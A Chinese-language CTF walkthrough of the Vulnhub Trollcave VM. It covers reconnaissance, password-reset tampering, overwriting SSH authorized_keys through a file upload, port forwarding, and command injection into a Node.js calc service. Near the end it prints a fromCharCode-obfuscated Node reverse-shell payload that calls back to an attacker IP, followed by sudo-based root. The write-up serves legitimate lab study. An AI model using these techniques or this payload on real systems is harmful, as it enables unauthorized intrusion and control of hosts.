前言
- Vulnhub刷题简单记录
TROLLCAVE
描述
Trollcave是一个易受攻击的虚拟机,具有Vulnhub的传统和一般的信息安全兵棋推演。你从一个你一无所知的虚拟机开始——没有用户名,没有密码,只有你可以在网络上看到的。在这种情况下,您将看到一个包含大量用户的简单社区博客网站。从这个初始点开始,您枚举机器正在运行的服务和一般特征,并设计出通过查找和利用漏洞和错误配置来完全控制它的方法。
你的第一个目标是滥用机器上的服务来获得未经授权的 shell 访问。您的最终目标是读取
root
用户主目录中的文本文件root/flag.txt
)。此 VM 设计为整体且相当实用。我想模拟对真实网站的真实攻击,而不仅仅是呈现一个由不同元素组成的拼图框,并且我想避免更深奥的易受攻击的 VMisms,例如当您必须对发现端口的 MP3 进行信号处理时- 敲门顺序。当然,在现实和最有趣/具有挑战性的事物之间总是要权衡利弊,但我试图让挑战保持扎根。
因为这是您要下载、导入和启动的 VM,所以实现此目标的一种方法是挂载 VM 的硬盘。我没有加密磁盘或采取任何措施来防止这种情况发生,所以如果你想走那条路,继续吧。我也不会为完成这个 VM 提供奖品或任何东西,所以要知道这完全没有意义。
因为这是一个运行具有真实服务的真实操作系统的虚拟机,所以可能有一些方法可以达到
root
我不想要的。理想情况下,这应该是乐趣的一部分,但如果它们使盒子变得微不足道,我想了解并修复它们 - 在合理范围内。在此版本中,我已经安装了适用于 Ubuntu Server 16.04 LTS 的所有更新,但我不能也不会尝试针对未来出现的每个新 Linux 内核漏洞修补此 VM。所以有一个提示——你不必使用内核漏洞来根这个框。你需要一个好的 HTTP 拦截代理——我推荐Burpsuite——以及一些网络工具,比如
nmap
和nc
。您还需要一些虚拟化软件——VirtualBox对大多数人来说是最简单的,但 KVM 和 VMWare 也应该能够.ova
在稍微摆弄之后导入文件。导入 VM 后,将其与攻击系统放在同一网络上(最好不要让其访问 Internet)并开始黑客攻击!您可以在
.ova
此处获取文件 ( 929MB )(2018 年 3 月 19 日更新)。让我知道你的想法。不适用于 VMware。更新日志 v1.1 - 19/03/2018 v1.2 - 21/03/2018
Trollcave开始
1、可以用两种方法确认靶场的存在,扫ip
1 | netdiscover -i eth0 -r 192.168.1.0/24 |
2、扫目标端口开发情况
1 | nmap -sV -sC -A 192.168.1.108 |
3、访问主页,根据提示说有一个password_resets,我们扫一下目录情况
1 | gobuster dir -u http://192.168.1.104/password_resets -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 |
4、通过改get参数,来改king的密码
1 | http://192.168.1.104/password_resets/edit.aSp4X7kLnpkxOH4xu4Nyug?name=King |
5、登陆上去之后有个文件上传,我们打开一下enable,然后再上传,因为是ruby语言写的,所以木马没用,我们只能靠提示的tails,猜测有tails用户,然后通过nmap确定有rsa加密登陆,所以用文件上传来覆盖/home/rails/.ssh/authorized_keys,最后登陆,下面展示命令
1 | ssh-keygen -f rails #伪造sha256 |
6、提权的方法,这个靶机中
1、首先,信息收集,在网站目录发现config中数据库的信息
1 | production: |
2、接着尝试用sqlite3读取数据库文件
1 | sqlite> select * from private_messages |
接着尝试连接5432的ptl数据库,因为kali无法访问,所以需要将端口转发出来
快键键 shift+波浪号(~)+C
3、就可以进入ssh模式,来进行端口转发,输入命令
1 | ssh> -L 5432:localhost:5432 |
本地可以查看,是否成功
4、利用dbeaver这个软件来进行连接postgreSQL,密码就是我们刚刚收集的,并没有发现有用信息
5、用同样的方法,将8888端口转到本地访问一下,发现有一个calc的关键字,搜索一下calc看看
1 | find / -iname calc 2>/dev/null |
接着发现King目录下有一个calc.js脚本,发现其可以被命令执行
1 | var http = require("http"); |
方法一
①在tmp目录中创建一个exp.c文件,写入获取king的shell的命令
1 | #include <stdio.h> |
gcc编译为exp
1 | gcc exp.c -o exp |
②在tmp目录中创建一个1.sh的执行文件,内容为
1 | #!/bin/sh |
利用burp抓包,在8888端口的calc中的sum直接执行命令,来执行1.sh使用king的权限
接着就获得了一个king的权限,并且任意用户都能使用的exp
③root的权限
方法二
①利用网上找到的一个payload生成命令执行
1 | #!/usr/bin/python |
②、接着利用这个脚本生成命令shell
1 | ┌──(root💀kali)-[~/BC/trollcave] |
③、接着在ssh刚连接的用户中执行下面命令,并且同时本机监听1234端口用nc
1 | curl 'http://127.0.0.1:8888/calc?sum=eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,32,118,97,114,32,114,101,113,117,105,114,101,32,61,32,103,108,111,98,97,108,46,114,101,113,117,105,114,101,32,124,124,32,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,99,111,110,115,116,114,117,99,116,111,114,46,95,108,111,97,100,59,32,105,102,32,40,33,114,101,113,117,105,114,101,41,32,114,101,116,117,114,110,59,32,118,97,114,32,99,109,100,32,61,32,40,103,108,111,98,97,108,46,112,114,111,99,101,115,115,46,112,108,97,116,102,111,114,109,46,109,97,116,99,104,40,47,94,119,105,110,47,105,41,41,32,63,32,34,99,109,100,34,32,58,32,34,47,98,105,110,47,115,104,34,59,32,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,34,110,101,116,34,41,44,32,99,112,32,61,32,114,101,113,117,105,114,101,40,34,99,104,105,108,100,95,112,114,111,99,101,115,115,34,41,44,32,117,116,105,108,32,61,32,114,101,113,117,105,114,101,40,34,117,116,105,108,34,41,44,32,115,104,32,61,32,99,112,46,115,112,97,119,110,40,99,109,100,44,32,91,93,41,59,32,118,97,114,32,99,108,105,101,110,116,32,61,32,116,104,105,115,59,32,118,97,114,32,99,111,117,110,116,101,114,61,48,59,32,102,117,110,99,116,105,111,110,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,123,32,99,108,105,101,110,116,46,115,111,99,107,101,116,32,61,32,110,101,116,46,99,111,110,110,101,99,116,40,49,50,51,52,44,32,34,49,57,50,46,49,54,56,46,49,51,54,46,49,51,52,34,44,32,102,117,110,99,116,105,111,110,40,41,32,123,32,99,108,105,101,110,116,46,115,111,99,107,101,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,32,105,102,32,40,116,121,112,101,111,102,32,117,116,105,108,46,112,117,109,112,32,61,61,61,32,34,117,110,100,101,102,105,110,101,100,34,41,32,123,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,125,32,101,108,115,101,32,123,32,117,116,105,108,46,112,117,109,112,40,115,104,46,115,116,100,111,117,116,44,32,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,117,116,105,108,46,112,117,109,112,40,115,104,46,115,116,100,101,114,114,44,32,99,108,105,101,110,116,46,115,111,99,107,101,116,41,59,32,125,32,125,41,59,32,115,111,99,107,101,116,46,111,110,40,34,101,114,114,111,114,34,44,32,102,117,110,99,116,105,111,110,40,101,114,114,111,114,41,32,123,32,99,111,117,110,116,101,114,43,43,59,32,105,102,40,99,111,117,110,116,101,114,60,61,32,49,48,41,123,32,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,32,123,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,59,125,44,32,53,42,49,48,48,48,41,59,32,125,32,101,108,115,101,32,112,114,111,99,101,115,115,46,101,120,105,116,40,41,59,32,125,41,59,32,125,32,83,116,97,103,101,114,82,101,112,101,97,116,40,41,59,32,125,41,40,41,59,49,43,49,59))' |
就可以得到一个shell,并且可以用sudo bash提权无需密码
我的个人博客
孤桜懶契:http://gylq.gitee.io